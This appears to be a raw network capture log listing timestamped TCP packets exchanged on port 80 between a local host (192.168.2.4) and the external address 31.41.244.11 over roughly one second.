Dec 13, 2024 01:51:10.595166922 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.595230103 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.595289946 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.595347881 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.596347094 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.596409082 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.596457005 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.596513987 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.597528934 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.597589970 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.597645998 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.597702026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.598732948 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.598793983 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.598861933 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.598918915 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.599931955 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.599993944 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.600039959 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.600097895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.601145029 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.601206064 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.601248026 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.601355076 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.602344990 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.602406979 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.602441072 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.602499008 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.603466988 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.603539944 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.729629993 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.729701042 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.729742050 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.729779005 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.729912996 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.729913950 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.729913950 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.731025934 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.731085062 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.731235981 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.731235981 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.731697083 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.731764078 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.731812000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.731920004 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.732667923 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.732733011 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.732780933 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.732837915 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.733634949 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.733699083 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.733753920 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.733855009 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.734616995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.734678030 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.734731913 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.734790087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.735590935 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.735657930 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.735727072 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.735783100 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.736608982 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.736675024 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.736699104 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.736754894 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.737524033 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.737581015 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.737652063 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.737730980 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.738516092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.738578081 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.738639116 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.738701105 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.739481926 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.739547014 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.739617109 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.739680052 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.740475893 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.740541935 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.740597963 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.740658045 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.741447926 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.741508961 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.741575956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.741628885 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.742434025 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.742502928 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.742547035 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.742603064 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.743375063 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.743432045 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.743488073 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.743541956 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.744360924 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.744419098 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.744488001 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.744544029 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.745338917 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.745414019 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.745481014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.745536089 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.746315002 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.746373892 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.746437073 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.746496916 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.747308016 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.747370958 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.747458935 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.747515917 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.748246908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.748306036 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.748366117 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.748424053 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.749233961 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.749300003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.749345064 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.749402046 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.750196934 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.750267029 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.750335932 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.750394106 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.751178980 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.751235962 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.751247883 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.751290083 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.752172947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.752233982 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.752290010 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.752393961 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.753134012 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.753195047 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.753256083 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.753320932 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.754121065 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.754185915 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.754241943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.754302979 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.755125999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.755192995 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.755197048 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.755251884 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.756062984 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.756216049 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.756247044 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.756275892 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.757049084 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.757107019 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.757174969 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.757313967 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.758030891 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.758088112 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.758153915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.758212090 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.758975983 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.759046078 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.759053946 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.759109974 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.759922981 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.759982109 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.760025978 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.760085106 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.760931969 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.760987043 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.761094093 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.761147976 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.761866093 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.761920929 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.761972904 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.762027025 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.762836933 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.762898922 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.762984991 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.763035059 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.763804913 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.763863087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.763978958 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.764035940 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.764817953 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.764882088 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.764976978 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.765036106 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.765786886 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.765921116 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.765944004 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.765995026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.766758919 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.766822100 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.766892910 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.766949892 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.767735004 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.767791033 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.767832041 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.767884970 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.768718004 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.768784046 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.768834114 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.768892050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.769671917 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.769740105 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.769815922 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.769874096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.770638943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.770699024 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.770768881 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.770827055 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.771620035 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.771680117 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.771737099 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.771795988 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.772615910 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.772680044 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.772741079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.772793055 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.773614883 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.773683071 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.773709059 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.773761988 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.774574995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.774636030 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.774723053 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.774782896 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.775513887 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.775574923 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.775648117 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.776026011 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.776496887 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.776552916 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.776622057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.776678085 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.777478933 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.777543068 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.777614117 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.777673960 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.778431892 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.778497934 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.778567076 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.778625965 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.779426098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.779493093 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.779566050 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.779625893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.780355930 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.780417919 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.921432018 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.921474934 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.921562910 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.921699047 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.921763897 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.921763897 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.922501087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.922610998 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.922712088 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.923463106 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.923542976 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.923568010 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.923628092 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.924422979 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.924598932 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.924666882 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.925420046 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.925529957 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.925596952 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.926410913 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.926474094 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.926542044 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.927362919 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.927428007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.927473068 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.928332090 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.928400993 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.928427935 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.929296017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.929368973 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.929451942 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.929512024 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.930368900 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.930423975 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.930486917 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.931457996 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.931569099 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.931632996 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.932235956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.932300091 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.932339907 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.933221102 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.933285952 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.933358908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.934191942 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.934253931 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.934324026 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.934384108 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.935214043 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.935271025 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.935338020 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.936125994 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.936271906 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.936335087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.937092066 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.937181950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.937181950 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.937417984 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.938071966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.938159943 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.938211918 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.939074993 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.939150095 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.939163923 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.940133095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.940197945 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.940285921 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.940346003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.940984964 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.941072941 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.941159010 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.941220045 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.941992044 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.942151070 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.942255974 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.942960978 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.943065882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.943128109 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.943921089 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.943985939 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.944042921 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.944885015 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.944947004 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.944986105 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.945071936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.945866108 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.945997000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.946058989 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.946860075 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.946969986 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.947031975 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.947802067 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.947864056 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.947935104 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.948924065 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.948995113 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.949011087 CET	80	49765	31.41.244.11	192.168.2.4
